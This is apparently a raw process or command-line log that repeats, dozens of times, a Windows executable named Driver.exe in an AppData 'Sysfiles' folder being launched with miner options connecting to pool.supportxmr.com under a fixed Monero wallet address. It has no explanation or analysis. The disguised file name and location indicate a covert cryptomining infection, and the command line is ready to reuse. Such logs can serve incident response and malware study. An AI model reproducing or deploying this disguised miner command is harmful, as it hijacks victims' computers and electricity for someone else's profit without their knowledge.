"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 4A6YbBqeVz2Hd8WXVCBy9MEvTyKebGFkS1Nz169ZpjpHfM3UDEcmsQ5ik7cETwGAHaahsx85dx5QxXkTjBKftvm3SfLLr17 -p x -k -v=0 --donate-level=1 -t 1

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

